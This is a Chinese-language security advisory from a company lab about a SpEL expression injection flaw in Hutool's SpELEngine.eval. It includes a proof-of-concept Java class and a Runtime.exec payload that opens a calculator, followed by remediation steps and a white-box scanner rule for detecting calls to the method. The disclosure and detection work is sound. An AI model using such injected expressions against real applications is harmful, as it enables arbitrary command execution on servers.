开源组件漏洞分析-Hutool 存在SPEL命令执行风险
本文作者:宇航@涂鸦智能安全实验室
漏洞编号
暂无
受影响版本:
cn.hutool:hutool-all (-∞,5.8.41]
cn.hutool:hutool-extra (-∞,5.8.41]
漏洞危害
Hutool是一款采用java开发的工具类库。 该项目受影响版本存在SPEL命令执行风险, 由于SpELEngine.java中eval方法解析SPEL表达式时未进行转义或检查,其通过StandardEvaluationContext实现SPEL表达式解析,远程攻击者可通过注入恶意的SPEL表达式如 T(java.lang.Runtime).getRuntime().exec(‘calc’) 导致任意系统命令执行。 开发者可将StandardEvaluationContext替换为SimpleEvaluationContext缓解此漏洞。
漏洞poc
spel表达式注入。
T(java.lang.Runtime).getRuntime().exec('open -na Calculator')
漏洞触发点:
spELEngine.eval(string, m, new ArrayList<>());
漏洞详情

该漏洞主要在于SpELEngine工具类,Hutool本意提供该类是为了图例直接通过类名调用方法的功能。但此处使用SpelExpressionParser + StandardEvaluationContext的组合来解析不受信任字符串时,可进行spel表达式注入

SpelEngine里面定义了eval方法,仅需要传入spel表达式,即可进行命令执行。
以下是验证poc代码:
package com.example.test.cves;
import cn.hutool.extra.expression.engine.spel.SpELEngine;
import java.util.ArrayList;
import java.util.HashMap;
public class Testhutool {
public static void main(String[] args) {
Test test = new Test();
HashMap<String, Object> m = new HashMap<>();
m.put("1", test);
SpELEngine spELEngine = new SpELEngine();
// eval 方法需要3个参数:表达式、变量Map、自定义类集合
spELEngine.eval("T(java.lang.Runtime).getRuntime().exec('open -na Calculator')", m, new ArrayList<>());
}
}
class Test {
}
运行后可得到:

调用堆栈如下:

修复方案
1、升级Hutool至安全版本6.*,该版本删除了整个expression部分。
2、spring官方提供了安全的方法可将StandardEvaluationContext替换为SimpleEvaluationContext。
加白策略
由上分析可知此处漏洞触发条件有以下两点
1、使用如下不安全写法,直接调用了spELEngine.eval()函数
2、用户可自定义spELEngine.eval(string, m, new ArrayList<>());中的string字符串。
此处影响范围较大,但针对eval等敏感函数。白盒扫描的能力已经覆盖,可加白处理。加白后再添加一条新的规则以免遗漏。
白盒规则
其中spELEngine.eval函数加入代码卫士规则进行二次确认。如存在使用该缺陷函数的代码,进行替换。
主要匹配内容:spELEngine.eval();

包名:cn.hutool.extra.expression.engine.spel
类名:SpELEngine
方法名:eval
使用语义分析策略即可,整体规则如下:
<Semantic id="" version="1.1.1">
<MethodDefinition implements="true" overrides="true" extends="true">
<!-- 填写需要匹配的命名空间正则表达式或字符串,可选,不需要匹配命名空间则删除该节点 -->
<NamespaceName type="value">cn.hutool.extra.expression.engine.spel</NamespaceName>
<!-- 填写需要匹配的类名正则表达式或字符串,可选,不需要匹配类名则删除该节点 -->
<ClassName type="pattern">SpELEngine</ClassName>
<!-- 填写需要匹配的方法名正则表达式或字符串 -->
<MethodName type="pattern">eval</MethodName>
</MethodDefinition>
</Semantic>
漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。
更多推荐



所有评论(0)